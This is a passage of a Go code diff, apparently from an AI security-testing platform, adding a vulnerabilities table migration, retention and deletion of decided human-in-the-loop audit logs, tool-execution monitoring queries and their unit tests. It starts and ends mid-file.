+		severity TEXT NOT NULL,
+		status TEXT NOT NULL DEFAULT 'open',
+		vulnerability_type TEXT,
+		target TEXT,
+		proof TEXT,
+		impact TEXT,
+		recommendation TEXT,
+		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
+	);`
+	if _, err := tx.Exec(createNew); err != nil {
+		return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
+	}
+
+	const copyRows = `
+	INSERT INTO vulnerabilities_new (
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	)
+	SELECT
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	FROM vulnerabilities;`
+	if _, err := tx.Exec(copyRows); err != nil {
+		return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
+	}
+	if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
+		return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
+	}
+	if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
+		return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
+	}
+
+	indexes := []string{
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
+	}
+	for _, stmt := range indexes {
+		if _, err := tx.Exec(stmt); err != nil {
+			return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
+		}
+	}
+
+	if err := tx.Commit(); err != nil {
+		return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
+	}
+	db.logger.Info("vulnerabilities 表已迁移：删除对话时保留漏洞记录")
+	return nil
+}
+
+func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
+	rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
+	if err != nil {
+		return false, err
+	}
+	defer rows.Close()
+
+	found := false
+	for rows.Next() {
+		var id, seq int
+		var table, from, to, onUpdate, onDelete, match string
+		if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
+			return false, err
+		}
+		if from == "conversation_id" {
+			found = true
+			if !strings.EqualFold(onDelete, "SET NULL") {
+				return false, nil
+			}
+		}
+	}
+	if err := rows.Err(); err != nil {
+		return false, err
+	}
+	return found, nil
+}
+
 // migrateVulnerabilitiesTable 迁移 vulnerabilities 表，补充标签字段
 func (db *DB) migrateVulnerabilitiesTable() error {
 	columns := []struct {

internal/database/hitl_logs.go

@@ -0,0 +1,75 @@
+package database
+
+import (
+	"fmt"
+	"strings"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+// DeleteHitlInterruptLogsByIDs deletes decided HITL audit logs by id (pending rows are skipped).
+func (db *DB) DeleteHitlInterruptLogsByIDs(ids []string) (int64, error) {
+	if db == nil {
+		return 0, fmt.Errorf("database is nil")
+	}
+	clean := make([]string, 0, len(ids))
+	for _, id := range ids {
+		id = strings.TrimSpace(id)
+		if id != "" {
+			clean = append(clean, id)
+		}
+	}
+	if len(clean) == 0 {
+		return 0, nil
+	}
+	placeholders := strings.TrimRight(strings.Repeat("?,", len(clean)), ",")
+	q := fmt.Sprintf(`DELETE FROM hitl_interrupts WHERE status != 'pending' AND id IN (%s)`, placeholders)
+	args := make([]interface{}, len(clean))
+	for i, id := range clean {
+		args[i] = id
+	}
+	res, err := db.Exec(q, args...)
+	if err != nil {
+		db.logger.Error("批量删除人机协同审计日志失败", zap.Error(err), zap.Int("count", len(clean)))
+		return 0, fmt.Errorf("批量删除人机协同审计日志失败: %w", err)
+	}
+	n, _ := res.RowsAffected()
+	return n, nil
+}
+
+// DeleteHitlInterruptLogsMatching deletes decided logs matching whereSQL (e.g. "WHERE 1=1 AND status != 'pending' ...").
+func (db *DB) DeleteHitlInterruptLogsMatching(whereSQL string, args []interface{}) (int64, error) {
+	if db == nil {
+		return 0, fmt.Errorf("database is nil")
+	}
+	whereSQL = strings.TrimSpace(whereSQL)
+	if whereSQL == "" {
+		return 0, fmt.Errorf("where clause is required")
+	}
+	q := `DELETE FROM hitl_interrupts ` + whereSQL
+	res, err := db.Exec(q, args...)
+	if err != nil {
+		db.logger.Error("清空人机协同审计日志失败", zap.Error(err))
+		return 0, fmt.Errorf("清空人机协同审计日志失败: %w", err)
+	}
+	n, _ := res.RowsAffected()
+	return n, nil
+}
+
+// PurgeHitlInterruptLogsBefore deletes decided logs with decided/created time before cutoff.
+func (db *DB) PurgeHitlInterruptLogsBefore(cutoff time.Time) (int64, error) {
+	if db == nil {
+		return 0, fmt.Errorf("database is nil")
+	}
+	res, err := db.Exec(
+		`DELETE FROM hitl_interrupts WHERE status != 'pending' AND datetime(COALESCE(decided_at, created_at)) < datetime(?)`,
+		cutoff.UTC().Format(time.RFC3339),
+	)
+	if err != nil {
+		db.logger.Error("清理过期人机协同审计日志失败", zap.Error(err))
+		return 0, fmt.Errorf("清理过期人机协同审计日志失败: %w", err)
+	}
+	n, _ := res.RowsAffected()
+	return n, nil
+}

internal/database/hitl_logs_test.go

@@ -0,0 +1,106 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+	"time"
+
+	"go.uber.org/zap"
+)
+
+func ensureHitlInterruptsTable(t *testing.T, db *DB) {
+	t.Helper()
+	if _, err := db.Exec(`
+CREATE TABLE IF NOT EXISTS hitl_interrupts (
+    id TEXT PRIMARY KEY,
+    conversation_id TEXT NOT NULL,
+    message_id TEXT,
+    mode TEXT NOT NULL,
+    tool_name TEXT NOT NULL,
+    tool_call_id TEXT,
+    payload TEXT,
+    status TEXT NOT NULL,
+    decision TEXT,
+    decision_comment TEXT,
+    created_at DATETIME NOT NULL,
+    decided_at DATETIME
+);`); err != nil {
+		t.Fatalf("create hitl_interrupts: %v", err)
+	}
+}
+
+func TestDeleteHitlInterruptLogsByIDs_skipsPending(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "hitl.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+	ensureHitlInterruptsTable(t, db)
+
+	now := time.Now().UTC().Format(time.RFC3339)
+	if _, err := db.Exec(`INSERT INTO hitl_interrupts
+		(id, conversation_id, mode, tool_name, status, created_at)
+		VALUES ('pending-1', 'c1', 'approval', 'exec', 'pending', ?)`, now); err != nil {
+		t.Fatalf("insert pending: %v", err)
+	}
+	if _, err := db.Exec(`INSERT INTO hitl_interrupts
+		(id, conversation_id, mode, tool_name, status, decision, created_at, decided_at)
+		VALUES ('done-1', 'c1', 'approval', 'exec', 'decided', 'approve', ?, ?)`, now, now); err != nil {
+		t.Fatalf("insert decided: %v", err)
+	}
+
+	deleted, err := db.DeleteHitlInterruptLogsByIDs([]string{"pending-1", "done-1"})
+	if err != nil {
+		t.Fatalf("DeleteHitlInterruptLogsByIDs: %v", err)
+	}
+	if deleted != 1 {
+		t.Fatalf("deleted = %d, want 1", deleted)
+	}
+
+	var status string
+	if err := db.QueryRow(`SELECT status FROM hitl_interrupts WHERE id = 'pending-1'`).Scan(&status); err != nil {
+		t.Fatalf("pending row missing: %v", err)
+	}
+	if err := db.QueryRow(`SELECT id FROM hitl_interrupts WHERE id = 'done-1'`).Scan(new(string)); err == nil {
+		t.Fatal("decided row should be deleted")
+	}
+}
+
+func TestPurgeHitlInterruptLogsBefore(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "hitl.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+	ensureHitlInterruptsTable(t, db)
+
+	old := time.Now().AddDate(0, 0, -100).UTC().Format(time.RFC3339)
+	recent := time.Now().AddDate(0, 0, -1).UTC().Format(time.RFC3339)
+	for _, row := range []struct{ id, decided string }{
+		{"old-1", old},
+		{"new-1", recent},
+	} {
+		if _, err := db.Exec(`INSERT INTO hitl_interrupts
+			(id, conversation_id, mode, tool_name, status, decision, created_at, decided_at)
+			VALUES (?, 'c1', 'approval', 'exec', 'decided', 'approve', ?, ?)`, row.id, row.decided, row.decided); err != nil {
+			t.Fatalf("insert %s: %v", row.id, err)
+		}
+	}
+
+	cutoff := time.Now().AddDate(0, 0, -90)
+	deleted, err := db.PurgeHitlInterruptLogsBefore(cutoff)
+	if err != nil {
+		t.Fatalf("PurgeHitlInterruptLogsBefore: %v", err)
+	}
+	if deleted != 1 {
+		t.Fatalf("deleted = %d, want 1", deleted)
+	}
+	if err := db.QueryRow(`SELECT id FROM hitl_interrupts WHERE id = 'old-1'`).Scan(new(string)); err == nil {
+		t.Fatal("old row should be purged")
+	}
+	if err := db.QueryRow(`SELECT id FROM hitl_interrupts WHERE id = 'new-1'`).Scan(new(string)); err != nil {
+		t.Fatalf("new row should remain: %v", err)
+	}
+}

internal/database/monitor.go

@@ -3,7 +3,6 @@ package database
 import (
 	"database/sql"
 	"encoding/json"
-	"sort"
 	"strings"
 	"time"
 
@@ -72,6 +71,23 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
 	return nil
 }
 
+// UpdateToolExecutionResult 仅更新结果字段（用于 reduction 后将监控展示与模型上下文对齐）。
+func (db *DB) UpdateToolExecutionResult(id string, result *mcp.ToolResult) error {
+	id = strings.TrimSpace(id)
+	if id == "" || result == nil {
+		return nil
+	}
+	resultBytes, err := json.Marshal(result)
+	if err != nil {
+		return err
+	}
+	_, err = db.Exec(`UPDATE tool_executions SET result = ? WHERE id = ?`, string(resultBytes), id)
+	if err != nil {
+		db.logger.Warn("更新工具执行结果失败", zap.Error(err), zap.String("executionId", id))
+	}
+	return err
+}
+
 // CountToolExecutions 统计工具执行记录总数
 func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
 	query := `SELECT COUNT(*) FROM tool_executions`
@@ -210,6 +226,167 @@ func (db *DB) LoadToolExecutionsWithPagination(offset, limit int, status, toolNa
 	return executions, nil
 }
 
+func toolExecutionsFilterSQL(status, toolName string) (string, []interface{}) {
+	args := []interface{}{}
+	conditions := []string{}
+	if status != "" {
+		conditions = append(conditions, "status = ?")
+		args = append(args, status)
+	}
+	if toolName != "" {
+		conditions = append(conditions, "LOWER(tool_name) LIKE ?")
+		args = append(args, "%"+strings.ToLower(toolName)+"%")
+	}
+	if len(conditions) == 0 {
+		return "", args
+	}
+	return ` WHERE ` + strings.Join(conditions, ` AND `), args
+}
+
+// ToolStatsSummary 工具调用汇总（全量聚合，不含逐工具明细）
+type ToolStatsSummary struct {
+	TotalCalls   int
+	SuccessCalls int
+	FailedCalls  int
+	LastCallTime *time.Time
+	ToolCount    int
+}
+
+// ToolStatsSummaryResult 汇总 + Top N 工具排行
+type ToolStatsSummaryResult struct {
+	Summary  ToolStatsSummary
+	TopTools []*mcp.ToolStats
+}
+
+// LoadToolStatsSummary 聚合统计信息，仅返回汇总与 Top N 工具（避免全量 map 传输）
+func (db *DB) LoadToolStatsSummary(topN int) (*ToolStatsSummaryResult, error) {
+	if topN <= 0 {
+		topN = 6
+	}
+	if topN > 100 {
+		topN = 100
+	}
+
+	result := &ToolStatsSummaryResult{
+		TopTools: make([]*mcp.ToolStats, 0, topN),
+	}
+
+	summaryQuery := `
+		SELECT COUNT(*),
+			COALESCE(SUM(total_calls), 0),
+			COALESCE(SUM(success_calls), 0),
+			COALESCE(SUM(failed_calls), 0),
+			MAX(last_call_time)
+		FROM tool_stats
+	`
+	var lastCallRaw sql.NullString
+	err := db.QueryRow(summaryQuery).Scan(
+		&result.Summary.ToolCount,
+		&result.Summary.TotalCalls,
+		&result.Summary.SuccessCalls,
+		&result.Summary.FailedCalls,
+		&lastCallRaw,
+	)
+	if err != nil {
+		return nil, err
+	}
+	if lastCallRaw.Valid && strings.TrimSpace(lastCallRaw.String) != "" {
+		if t, parseErr := time.Parse(time.RFC3339Nano, lastCallRaw.String); parseErr == nil {
+			result.Summary.LastCallTime = &t
+		} else if t, parseErr := time.Parse("2006-01-02 15:04:05.999999999-07:00", lastCallRaw.String); parseErr == nil {
+			result.Summary.LastCallTime = &t
+		} else if t, parseErr := time.Parse("2006-01-02 15:04:05", lastCallRaw.String); parseErr == nil {
+			result.Summary.LastCallTime = &t
+		}
+	}
+
+	topQuery := `
+		SELECT tool_name, total_calls, success_calls, failed_calls, last_call_time
+		FROM tool_stats
+		WHERE total_calls > 0
+		ORDER BY total_calls DESC, tool_name ASC
+		LIMIT ?
+	`
+	rows, err := db.Query(topQuery, topN)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	for rows.Next() {
+		var stat mcp.ToolStats
+		var lastCallTime sql.NullTime
+		if err := rows.Scan(
+			&stat.ToolName,
+			&stat.TotalCalls,
+			&stat.SuccessCalls,
+			&stat.FailedCalls,
+			&lastCallTime,
+		); err != nil {
+			db.logger.Warn("加载 Top 工具统计失败", zap.Error(err))
+			continue
+		}
+		if lastCallTime.Valid {
+			stat.LastCallTime = &lastCallTime.Time
+		}
+		result.TopTools = append(result.TopTools, &stat)
+	}
+
+	return result, nil
+}
+
+// LoadToolExecutionListPage 分页加载执行记录列表（不含 arguments/result，供监控列表使用）
+func (db *DB) LoadToolExecutionListPage(offset, limit int, status, toolName string) ([]*mcp.ToolExecution, error) {
+	if limit <= 0 {
+		limit = 20
+	}
+	if limit > 100 {
+		limit = 100
+	}
+
+	query := `
+		SELECT id, tool_name, status, start_time, end_time, duration_ms
+		FROM tool_executions
+	`
+	whereSQL, args := toolExecutionsFilterSQL(status, toolName)
+	query += whereSQL + ` ORDER BY start_time DESC LIMIT ? OFFSET ?`
+	args = append(args, limit, offset)
+
+	rows, err := db.Query(query, args...)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	executions := make([]*mcp.ToolExecution, 0, limit)
+	for rows.Next() {
+		var exec mcp.ToolExecution
+		var endTime sql.NullTime
+		var durationMs sql.NullInt64
+
+		if err := rows.Scan(
+			&exec.ID,
+			&exec.ToolName,
+			&exec.Status,
+			&exec.StartTime,
+			&endTime,
+			&durationMs,
+		); err != nil {
+			db.logger.Warn("加载执行记录列表失败", zap.Error(err))
+			continue
+		}
+		if endTime.Valid {
+			exec.EndTime = &endTime.Time
+		}
+		if durationMs.Valid {
+			exec.Duration = time.Duration(durationMs.Int64) * time.Millisecond
+		}
+		executions = append(executions, &exec)
+	}
+
+	return executions, nil
+}
+
 // GetToolExecution 根据ID获取单条工具执行记录
 func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
 	query := `
@@ -271,6 +448,93 @@ func (db *DB) GetToolExecution(id string) (*mcp.ToolExecution, error) {
 	return &exec, nil
 }
 
+// CancelOrphanedRunningToolExecutions 将仍为 running 的记录批量标记为 cancelled（如进程重启后无对应执行协程）。
+func (db *DB) CancelOrphanedRunningToolExecutions(endTime time.Time, errMsg string) (int64, error) {
+	errMsg = strings.TrimSpace(errMsg)
+	if errMsg == "" {
+		errMsg = "执行已中断（服务重启或会话结束）"
+	}
+	query := `
+		UPDATE tool_executions
+		SET status = 'cancelled',
+		    error = ?,
+		    end_time = ?,
+		    duration_ms = MAX(0, CAST((julianday(?) - julianday(start_time)) * 86400000 AS INTEGER))
+		WHERE status = 'running'
+	`
+	res, err := db.Exec(query, errMsg, endTime, endTime)
+	if err != nil {
+		return 0, err
+	}
+	return res.RowsAffected()
+}
+
+// FinalizeStaleRunningToolExecutions 将「非活跃且超过 minAge」的 running 记录标记为 cancelled。
+// activeIDs 为当前进程内仍登记 cancel 的 executionId；不在集合内且已超时的视为孤儿记录。
+func (db *DB) FinalizeStaleRunningToolExecutions(endTime time.Time, minAge time.Duration, activeIDs map[string]struct{}, errMsg string) (int64, error) {
+	errMsg = strings.TrimSpace(errMsg)
+	if errMsg == "" {
+		errMsg = "执行已中断（会话已结束）"
+	}
+	if minAge < 0 {
+		minAge = 0
+	}
+	cutoff := endTime.Add(-minAge)
+	rows, err := db.Query(`
+		SELECT id, start_time FROM tool_executions
+		WHERE status = 'running' AND start_time <= ?
+	`, cutoff)
+	if err != nil {
+		return 0, err
+	}
+	defer rows.Close()
+
+	type staleRow struct {
+		id        string
+		startTime time.Time
+	}
+	var stale []staleRow
+	for rows.Next() {
+		var row staleRow
+		if err := rows.Scan(&row.id, &row.startTime); err != nil {
+			db.logger.Warn("读取 stale running 执行记录失败", zap.Error(err))
+			continue
+		}
+		if activeIDs != nil {
+			if _, active := activeIDs[row.id]; active {
+				continue
+			}
+		}
+		stale = append(stale, row)
+	}
+	if err := rows.Err(); err != nil {
+		return 0, err
+	}
+	if len(stale) == 0 {
+		return 0, nil
+	}
+
+	var affected int64
+	for _, row := range stale {
+		durationMs := endTime.Sub(row.startTime).Milliseconds()
+		if durationMs < 0 {
+			durationMs = 0
+		}
+		res, err := db.Exec(`
+			UPDATE tool_executions
+			SET status = 'cancelled', error = ?, end_time = ?, duration_ms = ?
+			WHERE id = ? AND status = 'running'
+		`, errMsg, endTime, durationMs, row.id)
+		if err != nil {
+			db.logger.Warn("更新 stale running 执行记录失败", zap.Error(err), zap.String("executionId", row.id))
+			continue
+		}
+		n, _ := res.RowsAffected()
+		affected += n
+	}
+	return affected, nil
+}
+
 // DeleteToolExecution 删除工具执行记录
 func (db *DB) DeleteToolExecution(id string) error {
 	query := `DELETE FROM tool_executions WHERE id = ?`
@@ -393,6 +657,76 @@ func (db *DB) GetToolExecutionsByIds(ids []string) ([]*mcp.ToolExecution, error)
 	return executions, nil
 }
 
+type toolExecutionStatDelta struct {
+	totalCalls   int
+	successCalls int
+	failedCalls  int
+}
+
+// PurgeToolExecutionsBefore deletes executions older than cutoff and adjusts tool_stats.
+func (db *DB) PurgeToolExecutionsBefore(cutoff time.Time) (int64, error) {
+	query := `
+		SELECT tool_name, status, COUNT(*) AS cnt
+		FROM tool_executions
+		WHERE ` + sqliteEpochGE("start_time", "<") + `
+		GROUP BY tool_name, status
+	`
+	rows, err := db.Query(query, formatSQLiteUTC(cutoff))
+	if err != nil {
+		return 0, err
+	}
+	defer rows.Close()
+
+	deltas := make(map[string]*toolExecutionStatDelta)
+	for rows.Next() {
+		var toolName, status string
+		var count int
+		if err := rows.Scan(&toolName, &status, &count); err != nil {
+			db.logger.Warn("读取待清理执行记录统计失败", zap.Error(err))
+			continue
+		}
+		toolName = strings.TrimSpace(toolName)
+		if toolName == "" || count <= 0 {
+			continue
+		}
+		delta := deltas[toolName]
+		if delta == nil {
+			delta = &toolExecutionStatDelta{}
+			deltas[toolName] = delta
+		}
+		delta.totalCalls += count
+		switch status {
+		case "failed", "cancelled":
+			delta.failedCalls += count
+		case "completed":
+			delta.successCalls += count
+		}
+	}
+	if err := rows.Err(); err != nil {
+		return 0, err
+	}
+
+	res, err := db.Exec(`DELETE FROM tool_executions WHERE `+sqliteEpochGE("start_time", "<"), formatSQLiteUTC(cutoff))
+	if err != nil {
+		return 0, err
+	}
+	deleted, err := res.RowsAffected()
+	if err != nil {
+		return 0, err
+	}
+
+	for toolName, delta := range deltas {
+		if err := db.DecreaseToolStats(toolName, delta.totalCalls, delta.successCalls, delta.failedCalls); err != nil {
+			db.logger.Warn("清理过期执行记录后更新统计失败",
+				zap.Error(err),
+				zap.String("toolName", toolName),
+			)
+		}
+	}
+
+	return deleted, nil
+}
+
 // SaveToolStats 保存工具统计信息
 func (db *DB) SaveToolStats(toolName string, stats *mcp.ToolStats) error {
 	var lastCallTime sql.NullTime
@@ -513,13 +847,28 @@ func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
 
 // LoadCallsTimeline 按时间范围加载调用趋势（since 起至今，含边界）
 func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
-	// 在 Go 侧按本地时区分桶，避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析（差 8h 等问题）
-	query := `
-		SELECT start_time,
-			CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
-		FROM tool_executions
-		WHERE start_time >= ?
-	`
+	var query string
+	if dailyBuckets {
+		query = `
+			SELECT date(start_time, 'localtime') AS bucket,
+				COUNT(*) AS total,
+				SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
+			FROM tool_executions
+			WHERE start_time >= ?
+			GROUP BY bucket
+			ORDER BY bucket
+		`
+	} else {
+		query = `
+			SELECT strftime('%Y-%m-%d %H:00:00', start_time, 'localtime') AS bucket,
+				COUNT(*) AS total,
+				SUM(CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END) AS failed
+			FROM tool_executions
+			WHERE start_time >= ?
+			GROUP BY bucket
+			ORDER BY bucket
+		`
+	}
 
 	rows, err := db.Query(query, since)
 	if err != nil {
@@ -527,35 +876,35 @@ func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTime
 	}
 	defer rows.Close()
 
-	bucketMap := make(map[time.Time]struct{ total, failed int })
+	buckets := make([]CallsTimelineBucket, 0)
 	for rows.Next() {
-		var startTime time.Time
-		var failed int
-		if err := rows.Scan(&startTime, &failed); err != nil {
+		var bucketStr string
+		var total, failed int
+		if err := rows.Scan(&bucketStr, &total, &failed); err != nil {
 			db.logger.Warn("加载调用趋势失败", zap.Error(err))
 			continue
 		}
-		key := truncateCallsTimelineBucket(startTime, dailyBuckets)
-		entry := bucketMap[key]
-		entry.total++
-		entry.failed += failed
-		bucketMap[key] = entry
-	}
-
-	buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
-	for bucketTime, counts := range bucketMap {
+		bucketTime, err := parseCallsTimelineBucket(bucketStr, dailyBuckets)
+		if err != nil {
+			db.logger.Warn("解析调用趋势时间桶失败", zap.Error(err), zap.String("bucket", bucketStr))
+			continue
+		}
 		buckets = append(buckets, CallsTimelineBucket{
 			BucketTime: bucketTime,
-			Total:      counts.total,
-			Failed:     counts.failed,
+			Total:      total,
+			Failed:     failed,
 		})
 	}
-	sort.Slice(buckets, func(i, j int) bool {
-		return buckets[i].BucketTime.Before(buckets[j].BucketTime)
-	})
 	return buckets, nil
 }
 
+func parseCallsTimelineBucket(bucketStr string, dailyBuckets bool) (time.Time, error) {
+	if dailyBuckets {
+		return time.ParseInLocation("2006-01-02", bucketStr, time.Local)
+	}
+	return time.ParseInLocation("2006-01-02 15:04:05", bucketStr, time.Local)
+}
+
 // DecreaseToolStats 减少工具统计信息（用于删除执行记录时）
 // 如果统计信息变为0，则删除该统计记录
 func (db *DB) DecreaseToolStats(toolName string, totalCalls, successCalls, failedCalls int) error {

internal/database/monitor_reconcile_test.go

@@ -0,0 +1,102 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/mcp"
+
+	"go.uber.org/zap"
+)
+
+func TestCancelOrphanedRunningToolExecutions(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	start := time.Now().Add(-2 * time.Hour)
+	exec := &mcp.ToolExecution{
+		ID:        "orphan-hydra",
+		ToolName:  "hydra",
+		Arguments: map[string]interface{}{"target": "127.0.0.1"},
+		Status:    "running",
+		StartTime: start,
+	}
+	if err := db.SaveToolExecution(exec); err != nil {
+		t.Fatalf("SaveToolExecution: %v", err)
+	}
+
+	end := time.Now()
+	n, err := db.CancelOrphanedRunningToolExecutions(end, "执行已中断（服务重启）")
+	if err != nil {
+		t.Fatalf("CancelOrphanedRunningToolExecutions: %v", err)
+	}
+	if n != 1 {
+		t.Fatalf("expected 1 row updated, got %d", n)
+	}
+
+	got, err := db.GetToolExecution("orphan-hydra")
+	if err != nil {
+		t.Fatalf("GetToolExecution: %v", err)
+	}
+	if got.Status != "cancelled" {
+		t.Fatalf("expected cancelled, got %s", got.Status)
+	}
+	if got.EndTime == nil {
+		t.Fatal("expected end_time to be set")
+	}
+	if got.Duration <= 0 {
+		t.Fatalf("expected positive duration, got %v", got.Duration)
+	}
+}
+
+func TestFinalizeStaleRunningToolExecutions_skipsActive(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	now := time.Now()
+	oldStart := now.Add(-5 * time.Minute)
+	if err := db.SaveToolExecution(&mcp.ToolExecution{
+		ID: "stale", ToolName: "hydra", Status: "running", StartTime: oldStart,
+	}); err != nil {
+		t.Fatalf("SaveToolExecution stale: %v", err)
+	}
+	if err := db.SaveToolExecution(&mcp.ToolExecution{
+		ID: "active", ToolName: "hydra", Status: "running", StartTime: oldStart,
+	}); err != nil {
+		t.Fatalf("SaveToolExecution active: %v", err)
+	}
+
+	active := map[string]struct{}{"active": {}}
+	n, err := db.FinalizeStaleRunningToolExecutions(now, time.Minute, active, "执行已中断（会话已结束）")
+	if err != nil {
+		t.Fatalf("FinalizeStaleRunningToolExecutions: %v", err)
+	}
+	if n != 1 {
+		t.Fatalf("expected 1 stale row updated, got %d", n)
+	}
+
+	stale, err := db.GetToolExecution("stale")
+	if err != nil {
+		t.Fatalf("GetToolExecution stale: %v", err)
+	}
+	if stale.Status != "cancelled" {
+		t.Fatalf("stale expected cancelled, got %s", stale.Status)
+	}
+
+	activeExec, err := db.GetToolExecution("active")
+	if err != nil {
+		t.Fatalf("GetToolExecution active: %v", err)
+	}
+	if activeExec.Status != "running" {
+		t.Fatalf("active expected running, got %s", activeExec.Status)
+	}
+}

internal/database/monitor_retention_test.go

@@ -0,0 +1,122 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+	"time"
+
+	"cyberstrike-ai/internal/mcp"
+
+	"go.uber.org/zap"
+)
+
+func TestPurgeToolExecutionsBefore(t *testing.T) {
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	oldStart := time.Now().AddDate(0, 0, -100)
+	newStart := time.Now().AddDate(0, 0, -1)
+
+	oldExec := &mcp.ToolExecution{
+		ID:        "old-completed",
+		ToolName:  "nmap::scan",
+		Arguments: map[string]interface{}{"target": "127.0.0.1"},
+		Status:    "completed",
+		StartTime: oldStart,
+	}
+	oldFailed := &mcp.ToolExecution{
+		ID:        "old-failed",
+		ToolName:  "nmap::scan",
+		Arguments: map[string]interface{}{"target": "127.0.0.1"},
+		Status:    "failed",
+		Error:     "timeout",
+		StartTime: oldStart,
+	}
+	newExec := &mcp.ToolExecution{
+		ID:        "new-completed",
+		ToolName:  "nmap::scan",
+		Arguments: map[string]interface{}{"target": "127.0.0.1"},
+		Status:    "completed",
+		StartTime: newStart,
+	}
+	for _, exec := range []*mcp.ToolExecution{oldExec, oldFailed, newExec} {
+		if err := db.SaveToolExecution(exec); err != nil {
+			t.Fatalf("SaveToolExecution(%s): %v", exec.ID, err)
+		}
+	}
+	if err := db.UpdateToolStats("nmap::scan", 3, 2, 1, &newStart); err != nil {
+		t.Fatalf("UpdateToolStats: %v", err)
+	}
+
+	cutoff := time.Now().AddDate(0, 0, -90)
+	deleted, err := db.PurgeToolExecutionsBefore(cutoff)
+	if err != nil {
+		t.Fatalf("PurgeToolExecutionsBefore: %v", err)
+	}
+	if deleted != 2 {
+		t.Fatalf("deleted = %d, want 2", deleted)
+	}
+
+	if _, err := db.GetToolExecution("old-completed"); err == nil {
+		t.Fatal("old-completed should be deleted")
+	}
+	if _, err := db.GetToolExecution("old-failed"); err == nil {
+		t.Fatal("old-failed should be deleted")
+	}
+	if _, err := db.GetToolExecution("new-completed"); err != nil {
+		t.Fatalf("new-completed should remain: %v", err)
+	}
+
+	stats, err := db.LoadToolStats()
+	if err != nil {
+		t.Fatalf("LoadToolStats: %v", err)
+	}
+	stat := stats["nmap::scan"]
+	if stat == nil {
+		t.Fatal("expected stats for nmap::scan")
+	}
+	if stat.TotalCalls != 1 || stat.SuccessCalls != 1 || stat.FailedCalls != 0 {
+		t.Fatalf("stats after purge = %+v, want total=1 success=1 failed=0", stat)
+	}
+
+	total, err := db.CountToolExecutions("", "")
+	if err != nil {
+		t.Fatalf("CountToolExecutions: %v", err)
+	}
+	if total != 1 {
+		t.Fatalf("remaining executions = %d, want 1", total)
+	}
+}
+
+func TestPurgeToolExecutionsBefore_zeroRetentionSkipsViaService(t *testing.T) {
+	// RetentionDaysEffective: 0 means no purge at service layer; DB method still works when called directly.
+	dbPath := filepath.Join(t.TempDir(), "monitor.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	exec := &mcp.ToolExecution{
+		ID:        "ancient",
+		ToolName:  "curl::get",
